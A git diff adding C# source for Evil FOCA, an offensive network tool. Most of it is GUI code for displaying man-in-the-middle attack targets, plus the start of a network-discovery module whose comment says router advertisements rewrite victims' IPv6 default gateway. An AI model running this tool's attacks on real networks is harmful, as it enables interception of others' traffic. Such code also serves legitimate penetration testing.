mode 100644 index 0000000..2d178fd --- /dev/null +++ b/EvilFoca/ControlMitmAttack.Designer.cs @@ -0,0 +1,125 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca +{ + partial class ControlMitmAttack + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.lbTarget1 = new System.Windows.Forms.Label(); + this.lbTarget2 = new System.Windows.Forms.Label(); + this.lbRoute = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(3, 3); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(50, 13); + this.label1.TabIndex = 0; + this.label1.Text = "Target 1:"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(3, 20); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(50, 13); + this.label2.TabIndex = 1; + this.label2.Text = "Target 2:"; + // + // lbTarget1 + // + this.lbTarget1.AutoSize = true; + this.lbTarget1.Location = new System.Drawing.Point(59, 3); + this.lbTarget1.Name = "lbTarget1"; + this.lbTarget1.Size = new System.Drawing.Size(22, 13); + this.lbTarget1.TabIndex = 2; + this.lbTarget1.Text = " "; + // + // lbTarget2 + // + this.lbTarget2.AutoSize = true; + this.lbTarget2.Location = new System.Drawing.Point(59, 20); + this.lbTarget2.Name = "lbTarget2"; + this.lbTarget2.Size = new System.Drawing.Size(22, 13); + this.lbTarget2.TabIndex = 3; + this.lbTarget2.Text = " "; + // + // lbRoute + // + this.lbRoute.AutoSize = true; + this.lbRoute.Location = new System.Drawing.Point(239, 3); + this.lbRoute.Name = "lbRoute"; + this.lbRoute.Size = new System.Drawing.Size(68, 13); + this.lbRoute.TabIndex = 4; + this.lbRoute.Text = "Route: None"; + // + // controlMitmAttack + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.lbRoute); + this.Controls.Add(this.lbTarget2); + this.Controls.Add(this.lbTarget1); + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Name = "controlMitmAttack"; + this.Size = new System.Drawing.Size(310, 40); + this.Load += new System.EventHandler(this.controlMitmAttack_Load); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label lbTarget1; + private System.Windows.Forms.Label lbTarget2; + private System.Windows.Forms.Label lbRoute; + } +} diff --git a/EvilFoca/ControlMitmAttack.cs b/EvilFoca/ControlMitmAttack.cs new file mode 100644 index 0000000..a4307c4 --- /dev/null +++ b/EvilFoca/ControlMitmAttack.cs @@ -0,0 +1,68 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Windows.Forms; +using evilfoca.Data; + +namespace evilfoca +{ + public partial class ControlMitmAttack : UserControl + { + Attack attack; + + public ControlMitmAttack(Attack attack) + { + this.attack = attack; + InitializeComponent(); + } + + public void UpdateData() + { + MitmAttack mitmAttack = (MitmAttack)attack; + + lbTarget1.Text = mitmAttack.t1.ip.ToString() + " (" + mitmAttack.t1.packetsSend.ToString() + ")"; + lbTarget2.Text = mitmAttack.t2.ip.ToString() + " (" + mitmAttack.t2.packetsSend.ToString() + ")"; + + if ( + ((mitmAttack.t1.packetsSend == 0) && (mitmAttack.t2.packetsSend > 0)) + || + ((mitmAttack.t1.packetsSend > 0) && (mitmAttack.t2.packetsSend == 0)) + ) + { + lbRoute.Text = "Route: Half"; + } + else if ((mitmAttack.t1.packetsSend > 0) && (mitmAttack.t2.packetsSend > 0)) + { + lbRoute.Text = "Route: Full"; + } + else + { + if (!(lbRoute.Text == "Route: None")) + lbRoute.Text = "Route: None"; + } + } + + private void controlMitmAttack_Load(object sender, EventArgs e) + { + if (((MitmAttack)attack).t1 != null) + lbTarget1.Text = ((MitmAttack)attack).t1.ip.ToString(); + if (((MitmAttack)attack).t2 != null) + lbTarget2.Text = ((MitmAttack)attack).t2.ip.ToString(); + } + } +} diff --git a/EvilFoca/ControlMitmAttack.resx b/EvilFoca/ControlMitmAttack.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/EvilFoca/ControlMitmAttack.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/EvilFoca/ControlSlaacMitm.Designer.cs b/EvilFoca/ControlSlaacMitm.Designer.cs new file mode 100644 index 0000000..ad86d78 --- /dev/null +++ b/EvilFoca/ControlSlaacMitm.Designer.cs @@ -0,0 +1,125 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +namespace evilfoca +{ + partial class ControlSlaacMitm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.lbTarget1 = new System.Windows.Forms.Label(); + this.lbTarget2 = new System.Windows.Forms.Label(); + this.lbRoute = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(3, 3); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(50, 13); + this.label1.TabIndex = 0; + this.label1.Text = "Target 1:"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(3, 20); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(50, 13); + this.label2.TabIndex = 1; + this.label2.Text = "Target 2:"; + // + // lbTarget1 + // + this.lbTarget1.AutoSize = true; + this.lbTarget1.Location = new System.Drawing.Point(59, 3); + this.lbTarget1.Name = "lbTarget1"; + this.lbTarget1.Size = new System.Drawing.Size(22, 13); + this.lbTarget1.TabIndex = 2; + this.lbTarget1.Text = " "; + // + // lbTarget2 + // + this.lbTarget2.AutoSize = true; + this.lbTarget2.Location = new System.Drawing.Point(59, 20); + this.lbTarget2.Name = "lbTarget2"; + this.lbTarget2.Size = new System.Drawing.Size(22, 13); + this.lbTarget2.TabIndex = 3; + this.lbTarget2.Text = " "; + // + // lbRoute + // + this.lbRoute.AutoSize = true; + this.lbRoute.Location = new System.Drawing.Point(239, 3); + this.lbRoute.Name = "lbRoute"; + this.lbRoute.Size = new System.Drawing.Size(68, 13); + this.lbRoute.TabIndex = 4; + this.lbRoute.Text = "Route: None"; + // + // controlMitmAttack + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.Controls.Add(this.lbRoute); + this.Controls.Add(this.lbTarget2); + this.Controls.Add(this.lbTarget1); + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Name = "controlMitmAttack"; + this.Size = new System.Drawing.Size(310, 40); + this.Load += new System.EventHandler(this.controlMitmAttack_Load); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label lbTarget1; + private System.Windows.Forms.Label lbTarget2; + private System.Windows.Forms.Label lbRoute; + } +} diff --git a/EvilFoca/ControlSlaacMitm.cs b/EvilFoca/ControlSlaacMitm.cs new file mode 100644 index 0000000..7f25a98 --- /dev/null +++ b/EvilFoca/ControlSlaacMitm.cs @@ -0,0 +1,73 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.Data; +using System.Linq; +using System.Text; +using System.Windows.Forms; +using evilfoca.Data; + +namespace evilfoca +{ + public partial class ControlSlaacMitm : UserControl + { + Attack attack; + + public ControlSlaacMitm(Attack attack) + { + this.attack = attack; + InitializeComponent(); + } + + public void UpdateData() + { + MitmAttack mitmAttack = (MitmAttack)attack; + + lbTarget1.Text = mitmAttack.t1.ip.ToString() + " (" + mitmAttack.t1.packetsSend.ToString() + ")"; + lbTarget2.Text = mitmAttack.t2.ip.ToString() + " (" + mitmAttack.t2.packetsSend.ToString() + ")"; + + if ( + ((mitmAttack.t1.packetsSend == 0) && (mitmAttack.t2.packetsSend > 0)) + || + ((mitmAttack.t1.packetsSend > 0) && (mitmAttack.t2.packetsSend == 0)) + ) + { + lbRoute.Text = "Route: Half"; + } + else if ((mitmAttack.t1.packetsSend > 0) && (mitmAttack.t2.packetsSend > 0)) + { + lbRoute.Text = "Route: Full"; + } + else + { + if (!(lbRoute.Text == "Route: None")) + lbRoute.Text = "Route: None"; + } + } + + private void controlMitmAttack_Load(object sender, EventArgs e) + { + lbTarget1.Text = "Attacker default gateway"; + if (((MitmAttack)attack).t2 != null) + lbTarget2.Text = ((MitmAttack)attack).t2.ip.ToString(); + } + } +} diff --git a/EvilFoca/Controls/IpTextBox/IPTextBox.cs b/EvilFoca/Controls/IpTextBox/IPTextBox.cs new file mode 100644 index 0000000..f51781c --- /dev/null +++ b/EvilFoca/Controls/IpTextBox/IPTextBox.cs @@ -0,0 +1,125 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Net; +using System.Windows.Forms; + +namespace evilfoca.Controls.IpTextBox +{ + public enum IPVersion + { + IPv4, + IPv6, + Both + } + public class IPTextBox : TextBox + { + private IPVersion _version; + public bool IsValid + { + get + { + return ValidateIPFromString(this.Text); + } + } + + public IPVersion Version + { + get + { + return _version; + } + set + { + _version = value; + if (_version == IPVersion.IPv4) + this.MaxLength = 15; + else + this.MaxLength = 39; + } + + } + + public IPAddress IpValue + { + get + { + IPAddress addr; + if (ValidateIPFromString(this.Text, out addr)) + return addr; + else + return null; + } + } + + public void IpTextBox() + { + this.Version = IPVersion.IPv4; + this.MaxLength = 12; + } + + protected override void OnKeyPress(KeyPressEventArgs e) + { + base.OnKeyPress(e); + + switch (this.Version) + { + case IPVersion.IPv4: + if (!char.IsDigit(e.KeyChar) && e.KeyChar != '.' && e.KeyChar != (char)Keys.Back) + e.Handled = true; + break; + case IPVersion.IPv6: + if (!Uri.IsHexDigit(e.KeyChar) && e.KeyChar != ':' && e.KeyChar != (char)Keys.Back) + e.Handled = true; + break; + case IPVersion.Both: + if (!char.IsDigit(e.KeyChar) && e.KeyChar != '.' && !Uri.IsHexDigit(e.KeyChar) && e.KeyChar != ':' && e.KeyChar != (char)Keys.Back) + e.Handled = true; + break; + } + } + + protected override void WndProc(ref Message m) + { + switch (m.Msg) + { + + case 0x302: //WM_PASTE + { + string text = Clipboard.GetText(); + if (ValidateIPFromString(text)) + this.Text = text; + break; + } + } + base.WndProc(ref m); + } + + private bool ValidateIPFromString(string text) + { + IPAddress addr = null; + return IPAddress.TryParse(text, out addr); + } + + private bool ValidateIPFromString(string text, out IPAddress addr) + { + addr = null; + return IPAddress.TryParse(text, out addr); + } + } +} diff --git a/EvilFoca/Controls/ListViewEx/ListViewColumnSorter.cs b/EvilFoca/Controls/ListViewEx/ListViewColumnSorter.cs new file mode 100644 index 0000000..3787ff8 --- /dev/null +++ b/EvilFoca/Controls/ListViewEx/ListViewColumnSorter.cs @@ -0,0 +1,42 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections; +using System.Windows.Forms; + +namespace evilfoca.Controls.ListViewEx +{ + public class ListViewColumnSorter : IComparer + { + public int SortColumn { set; get; } + public SortOrder Order { set; get; } + private CaseInsensitiveComparer ObjectCompare; + + public ListViewColumnSorter() + { + SortColumn = 0; + Order = SortOrder.None; + ObjectCompare = new CaseInsensitiveComparer(); + } + + public int Compare(object x, object y) + { + return 0; + } + } +} diff --git a/EvilFoca/Controls/ListViewEx/ListViewColumnSorterValues.cs b/EvilFoca/Controls/ListViewEx/ListViewColumnSorterValues.cs new file mode 100644 index 0000000..c4f245d --- /dev/null +++ b/EvilFoca/Controls/ListViewEx/ListViewColumnSorterValues.cs @@ -0,0 +1,72 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections; +using System.Windows.Forms; + +namespace evilfoca.Controls.ListViewEx +{ + public class ListViewColumnSorterValues : IComparer + { + public int SortColumn { set; get; } + public SortOrder Order { set; get; } + private CaseInsensitiveComparer ObjectCompare; + + public ListViewColumnSorterValues() + { + SortColumn = 0; + Order = SortOrder.None; + ObjectCompare = new CaseInsensitiveComparer(); + } + + public int Compare(object x, object y) + { + + ListViewItem listviewX = (ListViewItem)x; + ListViewItem listviewY = (ListViewItem)y; + + int compareResult = 0; + if (SortColumn == 0) + compareResult = ObjectCompare.Compare(listviewX.SubItems[SortColumn].Text, listviewY.SubItems[SortColumn].Text); + else if (SortColumn == 1) + { + if (listviewX.SubItems.Count != 2 || listviewY.SubItems.Count != 2) + return 0; + else + { + int xi, yi; + if (int.TryParse(listviewX.SubItems[SortColumn].Text, out xi) && + int.TryParse(listviewY.SubItems[SortColumn].Text, out yi)) + { + compareResult = xi - yi; + } + else + { + compareResult = string.Compare(listviewX.SubItems[SortColumn].Text, listviewY.SubItems[SortColumn].Text); + } + } + } + if (Order == SortOrder.Ascending) + return compareResult; + else if (Order == SortOrder.Descending) + return -compareResult; + else + return 0; + } + } +} diff --git a/EvilFoca/Controls/ListViewEx/ListViewEx.cs b/EvilFoca/Controls/ListViewEx/ListViewEx.cs new file mode 100644 index 0000000..e0067ad --- /dev/null +++ b/EvilFoca/Controls/ListViewEx/ListViewEx.cs @@ -0,0 +1,359 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Collections; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; +using System.Runtime.InteropServices; + +namespace evilfoca.Controls.ListViewEx +{ + public class ListViewEx : ListView + { + #region Interop-Defines + [DllImport("user32.dll")] + private static extern IntPtr SendMessage(IntPtr hWnd, int msg, IntPtr wPar, IntPtr lPar); + + // ListView messages + private const int LVM_FIRST = 0x1000; + private const int LVM_GETCOLUMNORDERARRAY = (LVM_FIRST + 59); + + // Windows Messages + private const int WM_PAINT = 0x000F; + private const int WM_ERASEBKGND = 0x0014; + #endregion + + private struct EmbeddedControl + { + public Control Control; + public int Column; + public int Row; + public DockStyle Dock; + public ListViewItem Item; + } + + private ArrayList _embeddedControls = new ArrayList(); + + public ListViewEx() + { + DoubleBuffered = true; + } + + protected int[] GetColumnOrder() + { + IntPtr lPar = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(int)) * Columns.Count); + + IntPtr res = SendMessage(Handle, LVM_GETCOLUMNORDERARRAY, new IntPtr(Columns.Count), lPar); + if (res.ToInt32() == 0) // Something went wrong + { + Marshal.FreeHGlobal(lPar); + return null; + } + + int[] order = new int[Columns.Count]; + Marshal.Copy(lPar, order, 0, Columns.Count); + + Marshal.FreeHGlobal(lPar); + + return order; + } + + protected Rectangle GetSubItemBounds(ListViewItem Item, int SubItem) + { + Rectangle subItemRect = Rectangle.Empty; + + if (Item == null) + throw new ArgumentNullException("Item"); + + int[] order = GetColumnOrder(); + if (order == null) // No Columns + return subItemRect; + + if (SubItem >= order.Length) + throw new IndexOutOfRangeException("SubItem " + SubItem + " out of range"); + + // Retrieve the bounds of the entire ListViewItem (all subitems) + Rectangle lviBounds = Item.GetBounds(ItemBoundsPortion.Entire); + int subItemX = lviBounds.Left; + + // Calculate the X position of the SubItem. + // Because the columns can be reordered we have to use Columns[order[i]] instead of Columns[i] ! + ColumnHeader col; + int i; + for (i = 0; i < order.Length; i++) + { + col = this.Columns[order[i]]; + if (col.Index == SubItem) + break; + subItemX += col.Width; + } + + subItemRect = new Rectangle(subItemX, lviBounds.Top, this.Columns[order[i]].Width, lviBounds.Height); + + return subItemRect; + } + + public void AddEmbeddedControl(Control c, int col, int row) + { + AddEmbeddedControl(c, col, row, DockStyle.Fill); + } + + public void AddEmbeddedControl(Control c, int col, int row, DockStyle dock) + { + if (c == null) + throw new ArgumentNullException(); + if (col >= Columns.Count || row >= Items.Count) + throw new ArgumentOutOfRangeException(); + + EmbeddedControl ec; + ec.Control = c; + ec.Column = col; + ec.Row = row; + ec.Dock = dock; + ec.Item = Items[row]; + + _embeddedControls.Add(ec); + + // Add a Click event handler to select the ListView row when an embedded control is clicked + c.Click += new EventHandler(_embeddedControl_Click); + + this.Controls.Add(c); + } + + public void RemoveEmbeddedControl(Control c) + { + if (c == null) + throw new ArgumentNullException(); + + for (int i = 0; i < _embeddedControls.Count; i++) + { + EmbeddedControl ec = (EmbeddedControl)_embeddedControls[i]; + if (ec.Control == c) + { + c.Click -= new EventHandler(_embeddedControl_Click); + this.Controls.Remove(c); + _embeddedControls.RemoveAt(i); + return; + } + } + //throw new Exception("Control not found!"); + } + + public Control GetEmbeddedControl(int col, int row) + { + foreach (EmbeddedControl ec in _embeddedControls) + if (ec.Row == row && ec.Column == col) + return ec.Control; + + return null; + } + + [DefaultValue(View.LargeIcon)] + public new View View + { + get + { + return base.View; + } + set + { + // Embedded controls are rendered only when we're in Details mode + foreach (EmbeddedControl ec in _embeddedControls) + ec.Control.Visible = (value == View.Details); + + base.View = value; + } + } + + protected override void WndProc(ref Message m) + { + switch (m.Msg) + { + case WM_PAINT: + if (View != View.Details) + break; + + // Calculate the position of all embedded controls + foreach (EmbeddedControl ec in _embeddedControls) + { + Rectangle rc = this.GetSubItemBounds(ec.Item, ec.Column); + + if ((this.HeaderStyle != ColumnHeaderStyle.None) && + (rc.Top < this.Font.Height)) // Control overlaps ColumnHeader + { + ec.Control.Visible = false; + continue; + } + else + { + ec.Control.Visible = true; + } + + switch (ec.Dock) + { + case DockStyle.Fill: + rc.Offset(2, 1); + rc.Height -= 3; + rc.Width -= 3; + break; + case DockStyle.Top: + rc.Height = ec.Control.Height; + break; + case DockStyle.Left: + rc.Width = ec.Control.Width; + break; + case DockStyle.Bottom: + rc.Offset(0, rc.Height - ec.Control.Height); + rc.Height = ec.Control.Height; + break; + case DockStyle.Right: + rc.Offset(rc.Width - ec.Control.Width, 0); + rc.Width = ec.Control.Width; + break; + case DockStyle.None: + rc.Offset(1, 0); + rc.Height = ec.Control.Height; + rc.Width -= 1; + break; + } + + // Set embedded control's bounds + ec.Control.Bounds = rc; + } + break; + } + base.WndProc(ref m); + } + + private void _embeddedControl_Click(object sender, EventArgs e) + { + // When a control is clicked the ListViewItem holding it is selected + foreach (EmbeddedControl ec in _embeddedControls) + { + if (ec.Control == (Control)sender) + { + this.SelectedItems.Clear(); + ec.Item.Selected = true; + } + } + } + + #region Código para mostrar los iconos de orden en las columnas + /// + /// Redefinimos el método ordenar para insertar los iconos de ordenamiento + /// + public new void Sort() + { + if (this.ListViewItemSorter == null) + { + this.SetSortIcons(-1); + return; + } + //Es posible que se esten usando diferentes ItemSorter + if (this.ListViewItemSorter.GetType() == typeof(ListViewColumnSorter)) + { + ListViewColumnSorter lvwColumnSorter = (ListViewColumnSorter)this.ListViewItemSorter; + this.Sorting = lvwColumnSorter.Order; + this.SetSortIcons(lvwColumnSorter.SortColumn); + base.Sort(); + } + else if (this.ListViewItemSorter.GetType() == typeof(ListViewColumnSorterValues)) + { + ListViewColumnSorterValues lvwColumnSorter = (ListViewColumnSorterValues)this.ListViewItemSorter; + this.Sorting = lvwColumnSorter.Order; + this.SetSortIcons(lvwColumnSorter.SortColumn); + base.Sort(); + } + } + + private int _previouslySortedColumn = -1; + [StructLayout(LayoutKind.Sequential)] + public struct HDITEM + { + public Int32 mask; + public Int32 cxy; + [MarshalAs(UnmanagedType.LPTStr)] + public String pszText; + public IntPtr hbm; + public Int32 cchTextMax; + public Int32 fmt; + public Int32 lParam; + public Int32 iImage; + public Int32 iOrder; + }; + + // Parameters for ListView-Headers + public const Int32 HDI_FORMAT = 0x0004; + public const Int32 HDF_LEFT = 0x0000; + public const Int32 HDF_RIGHT = 0x0001; + public const Int32 HDF_STRING = 0x4000; + public const Int32 HDF_SORTUP = 0x0400; + public const Int32 HDF_SORTDOWN = 0x0200; + public const Int32 HDF_BITMAP_ON_RIGHT = 0x1000; + public const Int32 LVM_GETHEADER = 0x1000 + 31; // LVM_FIRST + 31 + public const Int32 HDM_GETITEM = 0x1200 + 11; // HDM_FIRST + 11 + public const Int32 HDM_SETITEM = 0x1200 + 12; // HDM_FIRST + 12 + + [DllImport("user32.dll")] + private static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam); + + [DllImport("user32.dll", EntryPoint = "SendMessage")] + private static extern IntPtr SendMessageITEM(IntPtr Handle, Int32 msg, IntPtr wParam, ref HDITEM lParam); + + public void SetSortIcons(int newSortColumn) + { + IntPtr hHeader = SendMessage(this.Handle, LVM_GETHEADER, IntPtr.Zero, IntPtr.Zero); + IntPtr newColumn = new IntPtr(newSortColumn); + IntPtr prevColumn = new IntPtr(_previouslySortedColumn); + HDITEM hdItem; + IntPtr rtn; + + // Only update the previous item if it existed and if it was a different one. + if (_previouslySortedColumn != -1 && _previouslySortedColumn != newSortColumn) + { + // Clear icon from the previous column. + hdItem = new HDITEM(); + hdItem.mask = HDI_FORMAT; + rtn = SendMessageITEM(hHeader, HDM_GETITEM, prevColumn, ref hdItem); + hdItem.fmt &= ~HDF_SORTDOWN & ~HDF_SORTUP; + rtn = SendMessageITEM(hHeader, HDM_SETITEM, prevColumn, ref hdItem); + } + + // Set icon on the new column. + hdItem = new HDITEM(); + hdItem.mask = HDI_FORMAT; + rtn = SendMessageITEM(hHeader, HDM_GETITEM, newColumn, ref hdItem); + + if (this.Sorting == SortOrder.Ascending) + { + hdItem.fmt &= ~HDF_SORTDOWN; + hdItem.fmt |= HDF_SORTUP | HDF_BITMAP_ON_RIGHT; + } + else + { + hdItem.fmt &= ~HDF_SORTUP; + hdItem.fmt |= HDF_SORTDOWN; + } + rtn = SendMessageITEM(hHeader, HDM_SETITEM, newColumn, ref hdItem); + _previouslySortedColumn = newSortColumn; + } + #endregion + + } +} diff --git a/EvilFoca/Core/NetworkDiscovery.cs b/EvilFoca/Core/NetworkDiscovery.cs new file mode 100644 index 0000000..a8d14f2 --- /dev/null +++ b/EvilFoca/Core/NetworkDiscovery.cs @@ -0,0 +1,316 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +using System; +using System.Net; +using System.Net.NetworkInformation; +using System.Text; +using System.Threading; +using System.Windows.Forms; +using PacketDotNet; +using PacketDotNet.Utils; +using SharpPcap.LibPcap; +using SharpPcap.WinPcap; + +namespace evilfoca.Core +{ + public class NetworkDiscovery + { + private WinPcapDevice Device; + public delegate void DiscoverFinishedDelegate(object sender, EventArgs myArgs); + public event DiscoverFinishedDelegate OnDiscoverFinish; + + + public bool IsScanning + { + get; + private set; + } + + public NetworkDiscovery() + { + } + + public void SetDevice(WinPcapDevice device) + { + Device = device; + } + + public void StartNetworkDiscoveryJustOneTime() + { + try + { + IsScanning = true; + // Fuerza el network discovery sin tener en cuenta la configuración + _StartNetworkDiscovery(); + + } + catch (ThreadAbortException) + { + } + finally + { + DiscoverFinished(); + } + + } + + public void StartNetworkDiscoveryJustOneTime(object ipRange) + { + try + { + IPAddress[] range = ipRange as IPAddress[]; + if (range != null && range.Length >= 2) + { + IsScanning = true; + // Fuerza el network discovery sin tener en cuenta la configuración + _StartNetworkDiscovery(range[0], range[1]); + } + + } + catch (ThreadAbortException) + { + } + finally + { + DiscoverFinished(); + } + + } + + private void DiscoverFinished() + { + IsScanning = false; + if (OnDiscoverFinish != null) + OnDiscoverFinish(this, null); + } + + private void _StartNetworkDiscovery(IPAddress from, IPAddress to) + { + IPAddress ipLocalLink = Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(Device); + + if (ipLocalLink == null) + { +#if DEBUG + System.Windows.Forms.MessageBox.Show("DEBUG: Excepción en el hilo de NetworkDiscovery"); +#endif + } + + { + // Si lanzamos paquetes de router advertisement vamos a localizar más equipos, pero les vamos a + // modificar la puerta de enlace predeterminada Ipv6 por la nuestra. + if (Program.CurrentProject.data.settings.DiscoverWithRouterAdvertisement) + HostDiscoveryRouterAdvertisement(); + if (Program.CurrentProject.data.settings.DiscoverWithPingMulticastIpv6) + HostDiscoveryPingMulticast(); + if (Program.CurrentProject.data.settings.DiscoverWithArpScan) + HostDiscoveryArpIpRange(from, to); + } + } + + private void _StartNetworkDiscovery() + { + IPAddress ipLocalLink = Program.CurrentProject.data.GetIPv6LocalLinkFromDevice(Device); + + if (ipLocalLink == null) + { +#if DEBUG + System.Windows.Forms.MessageBox.Show("DEBUG: Excepción en el hilo de NetworkDiscovery"); +#endif + throw new Exception(); + } + + { + // Si lanzamos paquetes de router advertisement vamos a localizar más equipos, pero les vamos a + // modificar la puerta de enlace predeterminada Ipv6 por la nuestra. + if (Program.CurrentProject.data.settings.DiscoverWithRouterAdvertisement) + HostDiscoveryRouterAdvertisement(); + if (Program.CurrentProject.data.settings.DiscoverWithPingMulticastIpv6) + HostDiscoveryPingMulticast(); + if (Program.CurrentProject.data.settings.DiscoverWithArpScan) + HostDiscoveryArpNetmask(); + } + } + + private void HostDiscoveryRouterAdvertisement() + { + // + // Host discovery enviando router advertisements + // 